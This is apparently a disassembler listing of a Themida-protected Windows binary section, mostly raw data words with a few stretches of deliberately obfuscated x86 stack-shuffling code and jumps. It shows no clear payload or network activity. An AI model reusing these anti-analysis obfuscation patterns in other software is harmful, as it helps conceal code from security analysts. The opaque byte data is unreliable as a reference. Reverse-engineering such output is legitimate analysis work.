		dd 0CBCD43CEh, 0DFF7D440h, 0E1FFD9A7h, 255D7B55h, 0A3EF976Eh
		dd 0DD400481h, 3E54E800h, 7F114961h, 0D7B508E1h, 95EE89C1h
		dd 96B0C25Dh, 0E153A3B7h, 7F42EA87h, 2BF10331h,	3068805Dh
		dd 336B8762h, 5E1252CFh, 0EB5212E9h, 8862F60Eh,	0E0F210EAh
		dd 99D1E9C6h, 813h, 358DA200h, 8EA0BC97h, 5C7E56B9h, 61795624h
		dd 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h, 768A6937h
		dd 7A94703Eh, 7B9B7442h, 0EC81EE43h, 4,	50241C89h, 405E089h
		dd 83000000h, 48704E8h,	0C895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	ecx, 5C1214F3h
		neg	ecx
		shr	ecx, 2
		sub	ecx, 28612136h
		and	ecx, 1E83044Ch
		dec	ecx
		not	ecx
		xor	ecx, 0F8917A98h
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, 8
		add	edx, 4783444Dh
		add	edx, eax
		sub	edx, 4783444Dh
		mov	[edx], ecx
		pop	edx
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		db 0C0h
		dd 89A3B856h, 0C50307ECh, 0D2E2E0FFh, 99060598h, 31BA3726h
		dd 17307731h, 0C70E4509h, 6ECD16B4h, 7FFF5F63h,	61B76EC4h
		dd 0EDE97337h
		db 3 dup(0)
byte_60AEF3	db 60h			; DATA XREF: Themida_:00585548o
					; Themida_:0058571Co
		dd 0A8D88C66h, 0DF840F04h, 8B000000h, 0E41281B5h, 0FE8307h
		dd 22850Fh, 85C60000h, 7E42C2Dh, 69696845h, 0B5FF8E72h
		dd 7E4019Dh, 0B0A7858Dh, 0D0FF07E7h, 16658589h,	0F08B07E4h
		dd 0FE93E80h, 3185h, 28858D00h,	0FF07E9B9h, 39BD8BD0h
		dd 8107E42Dh, 1184C7h, 81B58B00h, 8707E412h, 8B9F7h, 0A4F30000h
		dd 1281B58Bh, 858D07E4h, 7E86E30h, 0B58BD0FFh, 7E401A9h
		dd 0F00FE83h, 2285h, 2D85C600h,	5407E42Ch, 4EBEF468h, 9DB5FFFFh
		dd 8D07E401h, 0E7B0A785h, 89D0FF07h, 0E401A985h, 80F08B07h
		dd 850FE93Eh, 3Ah, 1A9B58Bh, 858D07E4h,	7E9B928h, 0BD8BD0FFh
		dd 7E42D39h, 1184C781h,	0C7830000h, 0A9B58B08h,	8707E401h
		dd 8B9F7h, 0A4F30000h, 1A9B58Bh, 858D07E4h, 7E86E30h, 0C361D0FFh
		dd 8A68858Dh, 858907ECh, 7E43291h, 8C0C8D8Dh, 14E807ECh
		dd 1D000000h, 420EDFA2h, 6C9563D7h, 8CF8EA20h, 819151A8h
		dd 609BB0EBh, 0F18B5B53h, 8D895F61h, 7E41B71h, 29DD9589h
		dd 236007E4h, 0E422B58Dh, 0BD858907h, 6107E430h, 2DA185C7h
		dd 5B5407E4h, 0E0810000h, 59E174BFh, 22B985C7h,	7E4h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 893251C3h, 0E40AF18Dh, 91B5FF07h, 0F07E422h,	8A0FC6B7h
		dd 0Ch,	7E9h, 42570900h, 3C7E1A06h, 306195FFh, 958907E4h
		dd 7E42F7Dh, 95FF006Ah,	7E40E41h, 6FEBC08Bh, 0CB050145h
		dd 7D6D439Bh, 0C2EE143Dh, 38E39645h, 0E1405D22h, 11126661h
		dd 70DC9192h, 0B8A5B69Bh, 2FC5B3F6h, 0D3808E6Fh, 6CBE851Bh
		dd 0C337E483h, 51DEFF5Eh, 0C96D770Fh, 147D7AE2h, 5B882BAEh
		dd 2CD34301h, 0E366E0DEh, 4F0AE388h, 0AF6B2CAEh, 0A6C9C9A2h
		dd 1A5711D1h, 0AE810AB5h, 7E32E9CEh, 0BABE2B04h, 4CE165B8h
		dd 0F2001058h, 0E9CBFE05h, 2Ah,	59641DC3h, 416C7452h, 636F6C6Ch
		dd 48657461h, 706165h, 140000h,	4 dup(0)
		dd 20E90000h, 68000011h, 7EC8E7Bh, 0F7F13EE9h, 8F8D68FFh
		dd 34E907ECh, 68FFF7F1h, 7EC91C1h, 0F7F12AE9h, 92A668FFh
		dd 20E907ECh, 68FFF7F1h, 7EC9660h, 0F7F116E9h, 96E868FFh
		dd 0CE907ECh, 68FFF7F1h, 7EC9727h, 0F7F102E9h, 981E68FFh
		dd 0F8E907ECh, 68FFF7F0h, 7EC98D8h, 0F7F0EEE9h,	993268FFh
		dd 0E4E907ECh, 68FFF7F0h, 7EC9B2Fh, 0F7F0DAE9h,	9C3868FFh
		dd 0D0E907ECh, 82FFF7F0h, 0DEF488AAh, 3B51E505h, 9BB1455Fh
		dd 0FE14A8BCh, 9A730723h, 420FB54h, 62805A70h, 0C4DAB8CEh
		dd 253D1A30h, 0B12EDE91h, 13AE2DCAh, 56B44388h,	5B296179h
		dd 602E667Eh, 7D346C82h, 0A27FFEA6h, 5BD83A8Ah,	1442A0A4h
		dd 5E3DC932h, 16384Ah, 0E3F7D625h, 8EC83A8Ah, 8081738h
		dd 0EC022436h, 0CBEBC40Fh, 8F6C3A72h, 0CBC4E377h, 941693E3h
		dd 0DA13A659h, 0F38C3971h, 2413A65Eh, 21EF94Ah,	0CAA371A9h
		dd 6C3372AAh, 0F207838h, 1FD82757h, 20BED877h, 0C3B83542h
		dd 8F13A656h, 6841CD26h, 33973648h, 0C0000000h,	1C6C424Dh
		dd 2AE448BAh, 175A3D6Dh, 0B6460C05h, 0AB1413A6h, 8835C673h
		dd 819213A6h, 0E96699C5h, 0CE30D877h, 0A684AA51h, 0ADBF2813h
		dd 0AE0Eh, 79563700h, 805B2961h, 9B761464h, 0FA53734Ch
		dd 0B6C727C2h, 0CC4D3D37h, 21EFB5C7h, 20F944h, 0C4A16FA7h
		dd 872318ACh, 9A144209h, 0B755A5BDh, 8BADBFDDh,	48809875h
		dd 40901E71h, 0A60641C3h, 12A60F13h, 0A7BB9A38h, 9FC2D46Fh
		dd 0F16EBEF0h, 14408FFEh, 5DFB4BB4h, 0F8D26682h, 2A62805Ah
		dd 2B63835Ch, 0B253790h, 1CC01430h, 15623721h, 0E934FD5h
		dd 0F9D10000h, 542D43D7h, 0AE8AA034h, 0BEA0094h, 724D63F7h
		dd 3E9C256h, 0BF536F4Ah, 1DB1CFA9h, 7F132907h, 0E0748C69h
		dd 7B007D2Dh, 0D713AE2Eh, 7B560392h, 0D8B5CB5Fh, 4D5B2CC0h
		dd 0BA1C6C42h, 0A024DB58h, 49B21442h, 0A9883E37h, 0A94713A6h
		dd 0AD7BB3CDh, 60B9CFh,	8C47E04Eh, 29081AA8h, 20DB88C0h
		dd 0A713A65Bh, 51AEEE96h, 86D87716h, 0FBh, 617956AFh, 7F957311h
		dd 0D49AAC47h, 7AC9A442h, 0B04B839Fh, 0F58A0757h, 611442A0h
		dd 0F1CCE6F8h, 0D0F09DD5h, 0A31442A4h, 0D9112705h, 35122C3Eh
		dd 0EE6BCD1Dh, 1442A509h, 0F7D05CC5h, 0F2049FD7h, 92DDBAD0h
		dd 84099B9h, 505E31h, 346C8662h, 0A55E25A2h, 93FC1442h
		dd 0CD4A283Ah, 13A6B14Bh, 889E7C1Ah, 9A2E9776h,	8C67147Bh
		dd 124A5E3Dh, 75C51E77h, 0BF8CC003h, 55E19D63h,	714F6177h
		dd 40CDD4F4h, 0ED3DA614h, 0C458744Fh, 0AB84D3AEh, 5FB8538Bh
		dd 375FDB0Bh, 0A42A6A62h, 0D81h, 55E90BE3h, 0B246663Fh
		dd 12A6C09Ch, 75091DFCh, 0D468845Fh, 815CF5FBh,	0E1BBD165h
		dd 3B192FC3h, 9E7B9125h, 8F3FF286h, 0AE2F6D12h,	15A4E913h
		dd 56587B56h, 6A6EFF55h, 697F136Ch, 0C224748Ch,	241CE360h
		dd 51BA1442h, 422411E6h, 4254BD14h, 56D44620h, 0C7A7F76Dh
		dd 56AE8395h, 5B296179h, 0DDD2667Eh, 1442A022h,	0EC809875h
		dd 0A9E1F9D6h, 819F7917h, 6078556Fh, 6EE0EA28h,	79A45FCFh
		dd 5C35C133h, 0D98D2A3Ch, 0DD718966h, 5BACF906h, 0ACDEE0h
		dd 4D070000h, 9F1C6C42h, 13A6B6E9h, 59063EA7h, 13A6B7A6h
		dd 0C0F818F1h, 0C3FB17F2h, 0C989BD84h, 75246071h, 0CCDEFED7h
		dd 78060EF1h, 7CC7D8h, 77F00000h, 1442A085h, 0D6268807h
		dd 0A6A6B759h, 40D43D13h, 0F0870466h, 5E13A6A6h, 0A6FA81FEh
		dd 0EF5813A6h, 8F6A8496h, 3E186340h, 0F48FC720h, 38C639Bh
		dd 90DE5BABh, 3E1442A6h, 4D2B41D5h, 180A2504h, 0F96725FBh
		dd 852058B1h, 0C462F42Ch, 663FCBEBh, 61730E46h,	0D5D513Eh
		dd 6EF3BE90h, 0B74BB41Ch, 79FE7BDDh, 0D503EE3Ch, 6885A6Ch
		dd 0E000009h, 3C482FACh, 9D0603EEh, 424DB68Bh, 0E59F1C6Ch
		dd 0AB13A6BDh, 0A25D0A42h, 0F513A6BEh, 0A5BCF918h, 62F714A7h
		dd 542FD109h, 9E8DABC0h, 5E7E57E3h, 0EC986F26h,	447C9471h
		dd 0E7F850A9h, 0E600FFBFh, 15D5D877h, 0FE000000h, 42A08477h
		dd 29CE4B14h, 0A51442A0h, 3C9FE33Ch, 2EFFFFFCh,	0F875424Dh
		dd 1442A003h, 0A0AC53D0h, 0C12A1442h, 5EAE0770h, 0A6B47BE1h
		dd 1BB91913h, 50EB2341h, 0A6B41EE5h, 0FA53BC13h, 0B46A15C2h
		dd 0D0E113A6h, 917E894h, 34C0D878h, 0E9000005h,	18ED245h
		dd 5DFB5DADh, 9631697Fh, 42A0542Bh, 49990214h, 42A037CCh
		dd 283AA314h, 8C1FCD4Ah, 64CD13A6h, 0BC70505Bh,	0D1BEBA63h
		dd 2E108DDDh, 24A20FDCh, 0E3AC83BBh, 0DAFE7BCBh, 79AA286Eh
		dd 0AEE6FEDBh, 86220113h, 0BC578FABh, 98751363h, 0F9D6EC80h
		dd 5EB7D3AEh, 8DA3E60Ah, 0AD3373B0h, 0B4Dh, 891D3F17h
		dd 0E67A9A73h, 46DAF4D0h, 0A93D5130h, 89CB893h,	0B590C92Fh
		dd 15EF0599h, 6F4D63F7h, 0D2AFC559h, 0C37326BAh, 0AE31B146h
		dd 49D81D13h, 0ED6A7956h, 1442A016h, 0A0B348C5h, 0B61F1442h
		dd 6BA3FC65h, 475D3BD9h, 317D1235h, 865A64E1h, 5BF913A6h
		dd 63046480h, 0A11D64A7h, 8BF4D3E5h, 0A9BF9D3Bh, 4ADBE759h
		dd 0F821B4A2h, 0D0AEC4E6h, 2ED582BAh, 0AD13A6AFh, 517350Fh
		dd 0A6BF730Ch, 6642E013h, 78173A4Ch, 1284E636h,	0EE6AD34Dh
		dd 0B7B0C2A7h, 14429899h, 99467EE7h, 1B8A9BE6h,	6C105465h
		dd 0D093D693h, 1C44h, 424D6D00h, 0C99F1C6Ch, 8713A6B6h
		dd 3A5CCE1Eh, 95A2EB3Bh, 1AA06678h, 0Eh, 6C424DA9h, 0B5019F1Ch
		dd 0E64F13A6h, 795625AEh, 0D1ED0D61h, 40807202h, 0A68BAh
		dd 224FC00h, 5F7F586Eh,	0BFD9B5CBh, 2236152Bh, 819D788Eh
		dd 75EE14EDh, 0D4EA7E9Ah, 3248DCFAh, 94AA3E54h,	580B9FB7h
		dd 32542BA8h, 0BD0213AEh, 39424D2Eh, 720D455Bh,	2A4CC919h
		dd 0B813A6B4h, 6C49174Fh, 0F22A4621h, 0CE3B3550h, 0CF281E8Ch
		dd 93EDE276h, 0FD34EDC0h, 0EF0DE794h, 2FC31CB7h, 0DF2F7F10h
		dd 89214462h, 59A9123Ch, 90C8DCBBh, 748C69F5h, 0F5CE9C62h
		dd 4FE8BACEh, 411CB2B1h, 56CCC25h, 0D655D6E7h, 0F514A801h
		dd 52C4149Ah, 2C0B6A6Eh, 52304204h, 0B5C977D5h,	649C0524h
		dd 0B5C9C4B7h, 3272832Ah, 64B4758Ah, 1D962A1h, 4D8B0000h
		dd 9F1C6C42h, 13A6B445h, 562DAA0Ch, 0F513A6B5h,	2A4F476Ch
		dd 0E77C8E5h, 0A8811DFCh, 55B55088h, 52BF961Ch,	3F77D0CDh
		dd 8859471h, 13A6E373h,	5CADC9A4h, 5126A3F3h, 0FD13A6E3h
		dd 91A73B94h, 38D495B4h, 8E2EA0F7h, 6D47E535h, 0BC7BEF4Fh
		dd 0A9630552h, 0DA24D197h, 3D34ED24h, 44124A5Eh, 0B0144C6Ah
		dd 1D3F7333h, 0CDE3C15Fh, 4BE8FA95h, 2F47241Bh,	4E6241DFh
		dd 27041A3Ch, 0D02AD70Fh, 431C2662h, 45134B69h,	0ECC55167h
		dd 4BA4BC99h, 0C1855C13h, 1451C91h, 2EE2E85Ah, 3D33E7ABh
		dd 1C34112Bh, 16ED6ACCh, 0C4423969h, 6910E764h,	55BE4239h
		dd 0EEC8EAFCh, 0CD35DC7Ch, 0C744A6A1h, 42390830h, 0CADC359Eh
		dd 47C4D3B0h, 423908B0h, 0B4EC08E3h, 65FC819h, 0BF9E3CCEh
		dd 0C6D873ABh, 6CBCF2A3h, 390828EFh, 2D7DE642h,	3A4E2DCBh
		dd 7FC6702h, 0D3423908h, 1736586Ah, 69E63678h, 45DD022Fh
		dd 86548CF5h, 0E7FD91A9h, 28BAF20Ah, 845FB08Ah,	3C953068h
		dd 5E576904h, 4A1D1381h, 0E5123912h, 0E9D902B2h, 0BA4C84DDh
		dd 1D2A463Dh, 1FAB144Ah, 31BF841h, 9FD730CBh, 0BADCF4D1h
		dd 0D449093Dh, 27431EBCh, 8DCC7815h, 0C4FC10EFh, 20FD1729h
		dd 389A7408h, 1D2AC4BBh, 6116934Ah, 0ED4A1D2Bh,	0B8CA3384h
		dd 49139ABFh, 0A9DF43Eh, 27AB549Eh, 90247D0Bh, 4D859D7Ah
		dd 0B6366BA0h, 0F610EC40h, 0FA14F0BEh, 88BC83C2h, 7D29A6C8h
		dd 99162502h, 4CB877E2h, 1AAE0770h, 0BF0F2704h,	0D17B3E4Dh
		dd 1E30998Eh, 990E8158h, 82FF2EC4h, 4CB8C4FDh, 9190F059h
		dd 858B1B6h, 0C8A644A6h, 5AB047B2h, 0B51E4CB8h,	70A4AAA3h
		dd 89F24B5Ch, 4C27F5h, 4DB60000h, 0BA1C6C42h, 0A024DB58h
		dd 49B21442h, 0B6A83E37h, 0BD2613A6h, 7955F385h, 1895275Fh
		dd 13A6B663h, 1B2D86EFh, 74082801h, 3752B8Ah, 0F10FE992h
		dd 3CCB4898h, 0AB13A6BCh, 0E018300Dh, 0F4543345h, 0A6BC8077h
		dd 8CE54E13h, 79560F10h, 0FF37532Eh, 58770B64h,	0AA277737h
		dd 13A6BC34h, 0BA9F962h, 29C7172Dh, 123354Bh, 0BFF70DEBh
		dd 0F5D4A7E8h, 0D63888E1h, 0BD00F774h, 0B69313A6h, 7ACB669Eh
		dd 0B406FF11h, 9B14429Bh, 0D00820FDh, 0DB442335h, 0F405F6A3h
		dd 0A851B8Ah, 79D754A4h, 81C6EF5h, 49EB2496h, 0E7F99A67h
		dd 798D6C08h, 0F413C919h, 55AE99C6h, 0A48F701Dh, 2B3C03EEh
		dd 0DBC437Bh, 1F19C8B0h, 42000000h, 1C6C424Dh, 293D1CBAh
		dd 0EECA56F1h, 0EF019CD4h, 0A6B610F6h, 3D75DE13h, 2EB7h
		dd 424D4600h, 70B4AD65h, 746D1A94h, 0EA0747F8h,	0D7B03C95h
		dd 8BE47FB7h, 0A2E0BE3Bh, 56E13A6h, 5CD93BCDh, 13A68CA7h
		dd 0A0BC9733h, 92603547h, 0ACFC1AF4h, 42A0482Fh, 8B9D0614h
		dd 287C9471h, 7202D1DCh, 0AEDF65A5h, 0B6000006h, 1228BCDEh
		dd 6F851939h, 0CFE57993h, 3248DCF0h, 0CEA73B57h, 38542F28h
		dd 96B48EA4h, 0F80EEC02h, 59714E64h, 0E56212C5h, 13AE361Eh
		dd 45E877BCh, 6B107FC1h, 0CF1F788Ch, 0A68C8452h, 0E0E95213h
		dd 0E0566ED5h, 0C7E7A8D1h, 0A79CFA77h, 16AD98Dh, 119DF2C9h
		dd 9C6744C1h, 56F4C1A9h, 38542F78h, 0FA0CA7DFh,	8AA27F1Bh
		dd 0E5EB752h, 7849370h,	0CDB1E370h, 881C75DEh, 297D9572h
		dd 980F8EE5h, 26EA70B0h, 3E000006h, 9AB04466h, 0F70DA1C1h
		dd 576D011Bh, 0BAD06478h, 562FC3DFh, 0C0DCB790h, 1E3C162Ch
		dd 8096748Ah, 0E1F9D6ECh, 6DEA9A4Dh, 13AE3696h,	5670FF44h
		dd 0B0D6179h, 9E7202D2h, 5E7D85Eh, 0A57D0000h, 0D9EF83h
		dd 5A364CE0h, 0B796AC40h, 1EF90FA3h, 6F956E02h,	6BFF1BF6h
		dd 0C95D7B55h, 2BBFD5B3h, 8C203815h, 0D7AC29D9h, 8313AE37h
		dd 7956AF3Eh, 3D522961h, 42A42171h, 1013AE2Ch, 9BF413A7h
		dd 0C361C313h, 6642CEE6h, 0AB413A4Ch, 29144A0Dh, 58F688C0h
		dd 902B637Bh, 0DFA857Eh, 421D1B92h, 4120EE26h, 6DC02826h
		dd 64BDABE3h, 66845E2Ch, 71F4932Eh, 79507635h, 0C49A5A35h
		dd 4202136Bh, 8BE4E51Ah, 0EC41B3D0h, 0B8366796h, 0A953F204h
		dd 7C000000h, 27C5C045h, 0A1EFD4Ch, 0A6DE37D2h,	0B9D6F90Bh
		dd 7A28A5F5h, 2813A68Ch, 0CAABB6BFh, 99DCA19Eh,	0CB0321FBh
		dd 94FB1E30h, 0F668CA1Ah, 0BA092A24h, 0C1BACC24h, 0C54D627Fh
		dd 0FE2265D5h, 0E65F1CE5h, 117E558Dh, 88D04D9Dh, 4ACD75CBh
		dd 16F391E1h, 77546AFEh, 47170B5Fh, 66A68B4Ah, 4F0E0h
		dd 7A9C7400h, 0D7F7D0E6h, 37512D43h, 9AAE8DA3h,	0F915F006h
		dd 0ED668C65h, 4C62F612h, 0AAC05472h, 0C22B6CCh, 0D083172Fh
		dd 38DCA320h, 357A13AEh, 0B33092A6h, 1442A0CCh,	7E008F7Bh
		dd 4798E39Ch, 0A4FACCDEh, 89000000h, 0FD19F492h, 0F5182AC5h
		dd 62C4149Ah, 0A0FC8300h, 0F15A1442h, 356D8B65h, 658F889Ah
		dd 0EB13AE2Ch, 0B7943282h, 0E307BA98h, 9BFBB735h, 408EFD9h
		dd 27BB14C2h, 0CC1C3411h, 2C197F5Ah, 67796C21h,	0E9C5CAA1h
		dd 84361C99h, 0E444144Ah, 92889067h, 7CD53E1Bh,	85226D44h
		dd 7046901h, 66B60F20h,	76B997E9h, 80D43D1Ch, 5A4EB4ACh
		dd 365FE525h, 2E000004h, 8AA03456h, 0E7FD91B1h,	475DF10Bh
		dd 0AAC05468h, 461FB3CFh, 0B0CCA7A0h, 0E2C061Ch, 7086647Ah
		dd 0D1E9C6DCh, 5DDA8A3Dh, 13AE38A6h, 7760EF34h,	1442A080h
		dd 42A04B34h, 0E2CCC314h, 2CF31592h, 0E48213AEh, 0FBDAEC0Ah
		dd 0AF8C5A92h, 45F34397h, 0B2F26A16h, 3DC2Ch, 8EB08800h
		dd 0EB0BE4FAh, 4B654157h, 0AEC2A1B7h, 0D29041Ah, 15AA079h
		dd 60760A26h, 0BED46886h, 2036CAE0h, 0E4972B43h, 39C0B734h
		dd 498E13AEh, 1AF492BAh, 79D2EEC9h, 7A94A641h, 0D335859Dh
		dd 42A0A156h, 0B2C42D14h, 2D7A15ECh, 0FB062AB3h, 5EAE07C2h
		dd 0A63F3FE1h, 0D86CD513h, 0BD3A9CFEh, 13A63FC6h, 3BC02B94h
		dd 9713A600h, 0AAC8A22Eh, 0BA9F98h, 0C29D0CB7h,	21FC12A6h
		dd 3D17B505h, 3A4CE71Fh, 0B3F49D74h, 0D24253E3h, 1DE25F2Bh
		dd 0B932B768h, 0A9EF750h, 61795639h, 667E5B29h,	0E30CA416h
		dd 0A6360C4Dh, 3C537294h, 0D855603Fh, 1442CD23h, 0B5ED46AFh
		dd 0A522BA1Ah, 0BDA89F8Fh, 15971464h, 5C13A6A9h, 0B3C5E5BEh
		dd 425C38D4h, 0BD1FB1E9h, 0F129431Fh, 8E14EB56h, 0AE8713A6h
		dd 0C2D43D8Eh, 0A68E36C9h, 0C0849513h, 77EF639Ch, 8574D8h
		dd 0F6940000h, 9C770317h, 92996E80h, 0CB598220h, 4274A94Eh
		dd 5CBC2514h, 0E8380780h, 428A946Bh, 0C7D94214h, 0F1BCEBA4h
		dd 8B5A621Dh, 375C51Eh,	0D3EE13Fh, 997789F5h, 0A4BC9937h
		dd 0FD39992h, 38A113A6h, 10A85300h, 0DEB13A6h, 14F1BFF7h
		dd 0E360C4FCh, 8697EFA3h, 61619EDEh, 0D537D877h, 0F3623463h
		dd 974AD8Eh, 13A67172h,	0AA2777E0h, 13A671D5h, 67061881h
		dd 0C7h, 0F40CE987h, 0FA10EEBCh, 56BA8FA1h, 73116179h
		dd 54744D94h, 0F028811Ch, 0AF7D4355h, 0B280B8D4h, 0B785BDD5h
		dd 392EC2DAh, 1442A499h, 23744EECh, 4AD62F45h, 2B45576Bh
		dd 8CA2364Eh, 6B8B64AFh, 8C03DA12h, 4755D222h, 1513A6ABh
		dd 96F918ACh, 0E74BC818h, 7614405Eh, 7E0EA904h,	0B8538B9Fh
		dd 9191E158h, 0E737A07Fh, 0BE526E49h, 758472E4h, 9D190E61h
		dd 0F050A9BFh, 705E5085h, 1A2C10h, 8BB50925h, 6E623872h
		dd 1DFA82Eh, 0AD850000h, 8E1F78Bh, 623E54E8h, 0BF9EB448h
		dd 260117ABh, 579D760Ah, 730723FEh, 0D165835Dh,	33C7DDBBh
		dd 9428401Dh, 0CFB431E1h, 8B13AE3Bh, 7B56B746h,	0D8B5CB5Fh
		dd 925B2CC0h, 0C90115F4h, 96F91C2Eh, 854BC818h,	5313A6A9h
		dd 22FC9AEAh, 839B7804h, 7DFEAB71h, 9613A6A9h, 9A68A0BAh
		dd 0B269A1C1h, 8FE7ABDBh, 6996C67Eh, 6ED87808h,	0D7h, 0C8AF2C8Eh
		dd 8613A6A5h, 56360B1Dh, 97296179h, 27C3E425h, 7955E33Ah
		dd 0DAF4065Fh, 2193E3FFh, 3B9EC663h, 0AA277722h, 144223D5h
		dd 40061881h, 42273793h, 152D0A14h, 304C27C5h, 0F6D15DF8h
		dd 90A6C8DAh, 8C639BB3h, 4037B403h, 0E144228h, 7FFC4CA5h
		dd 13A62611h, 0ADC7A33Fh, 48E6C054h, 20435569h,	8DEF3F6Fh
		dd 0A6376B10h, 6D4BE713h, 0EECFE57h, 40D11691h,	0A3F35C14h
		dd 79C8A341h, 1A2C859Bh, 75092500h, 1468845Fh, 62375436h
		dd 0D61197D7h, 8E000000h, 0EA0094B6h, 475DF111h, 0A7BD516Bh
		dd 0A20B4C8h, 0A67F132Fh, 102C0740h, 6E8C667Ch,	0D0E6C4DAh
		dd 3149263Ch, 0BD3AEA9Dh, 13AE3CC6h, 56C04F94h,	710F5F7Bh
		dd 0A8437B95h, 815E7496h, 5604D569h, 5B296179h,	0B3D2667Eh
		dd 995EDBDCh, 351442A0h, 0A62373CCh, 13AE2C50h,	5B209DFFh
		dd 0F713AE2Dh, 19D7C8Eh, 62B20B25h, 2DFC8300h, 0DE5B13AEh
		dd 13AE2D19h
		dd 92FB4CB5h, 0FECBA80h, 704D63F7h, 0B2732058h,	0AF4D26ADh
		dd 2E0B7232h, 8F6C8216h, 92713F77h, 0AD750A87h,	78E17237h
		dd 5631CF1Fh, 0B6D4AE3Ah, 0BD1E37Eh, 0C09E3C54h, 0C5D772AAh
		dd 24017C28h, 534ABC0Ch, 7AA1E0EBh, 172D4F61h, 0FDEC1B3Ah
		dd 78BE421Bh, 0A0F90DECh, 3E268h, 8D710000h, 5C7E563Eh
		dd 61795624h, 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h
		dd 768A6937h, 7A94703Eh, 7B9B7442h, 8956EE43h, 4C681E6h
		dd 51000000h, 4B9h, 59CE2900h, 5C243487h, 81E28952h, 4C2h
		dd 4EA8100h, 87000000h,	895C2414h, 89562414h, 4C681E6h
		dd 81000000h, 4EEh, 24348700h, 2434895Ch, 8D2CBB53h, 895507ECh
		dd 5DEA89DDh, 348B545Bh, 4C48324h, 8FB85052h, 316F3E54h
		dd 58042444h, 8108468Fh, 548F0876h, 348B6F3Eh, 0E0895024h
		dd 405h, 4C08300h, 5C240487h
		db 8Bh,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		dd 60F61735h, 9FA87A3Fh, 0B8170C9Fh, 7EC9D33h, 0E0FFC503h
		dd 0D751A77h, 1163AE90h, 2C1C9178h, 3E2F01A0h, 406C9188h
		dd 1583E736h, 0C390E15h, 9EB68D8Dh, 6A07ECh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 852312C3h
		dd 7E41C15h, 1B718D89h,	0BA6607E4h, 85C788A0h, 7E42DA1h
		dd 70ACh, 6E2F81BAh, 0B985C728h, 7E422h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 6DA9C351h, 0A6ECA9BBh, 0FF6A3ADEh, 0E41D49B5h, 95296007h
		dd 7E40DA5h, 99958B57h,	5A07E412h, 0DF816661h, 95FF6000h
		dd 7E43061h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	82C35141h, 4D9AA630h, 0F37AE022h, 6A5CB2h, 0E4195FFh
		dd 0C08B07E4h, 4F6F7FEBh, 0B2053E3Dh, 98BBF630h, 249BCEB0h
		dd 0EC226185h, 15F3BFD1h, 12D944EBh, 0AA0CE4BAh, 880B1AB5h
		dd 0D3EBFABBh, 3FB00F54h, 9A43D28Ah, 4986C5B8h,	76041B64h
		dd 9B68D751h, 7914C60Eh, 15E8E865h, 0B9CFAD92h,	1D8C9BB6h
		dd 5EA833A1h, 32EB3B76h, 4F99D278h, 529DACC7h, 0BAD1411Eh
		dd 0C62632A1h, 0AB1533FCh, 0FDA791DFh, 0CF8BA071h, 798B857h
		dd 0B5CB7F48h, 0D7E21451h, 5F4F2183h, 3F8D8D87h, 8907ECA0h
		dd 0E435618Dh, 718D8907h, 6A07E41Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0D33FC352h
		dd 2D70FEA8h, 0C7FC8CC3h, 0E42DA185h, 6A4C07h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 572E8969h, 14E96F91h, 11000000h, 47A61725h, 8E428F5Fh
		dd 61C79BDh, 1ACE01CCh,	0C75A7736h, 0E422B985h,	7, 0BD8B6000h
		dd 7E42A05h, 6820Fh, 9D330000h,	7E40A51h, 49B5FF61h, 6A07E41Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 45A1C353h, 8B0F42B3h, 13h, 0EE9h,	4D6B3A00h
		dd 0F964F7E9h, 0D4749DC6h, 0FF743A88h, 0E4306195h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 51EDAC77h, 6A0104FCh, 4195FF00h, 8B07E40Eh, 0B07FEBC0h
		dd 0D8F1237Ah, 0F504B02Eh, 15F1363Ch, 9673E031h, 36762331h
		dd 0A9EA337Bh, 0C5E17C1Dh, 0EBF3F5A5h, 8204670Ah, 7462880Ch
		dd 0A82DFF03h, 654B8E88h, 0A1689D92h, 11EC6290h, 8091DE4h
		dd 97842006h, 0D0E0583Ch, 0A8F2B5F2h, 0C26B2147h, 0A1DDB2A0h
		dd 0E6758173h, 11F2349Ch, 35AA8CF2h, 0F8FD2CC8h, 97572F9h
		dd 0C671EB10h, 539A84C5h, 62011884h, 4AF89873h,	39D258EEh
		dd 9DB663A2h, 8D8DEF64h, 7ECA1AEh, 6A1B589h, 8D8907E4h
		dd 7E41B71h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0ADC35343h, 0A44EB018h,	853160F9h, 7E412C9h, 21159D8Bh
		dd 0C76107E4h, 0E42DA185h, 68D007h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 70056443h
		dd 8962FE0Ah, 0E4020D8Dh, 0D39FBF07h, 85C736CEh, 7E422B9h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0AEC35040h
		dd 8B6487E6h, 6890FF9h,	8B000000h, 0E40709B5h, 49B5FF07h
		dd 0FC07E41Dh, 306195FFh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0FF5F37C3h, 0F2AE769h
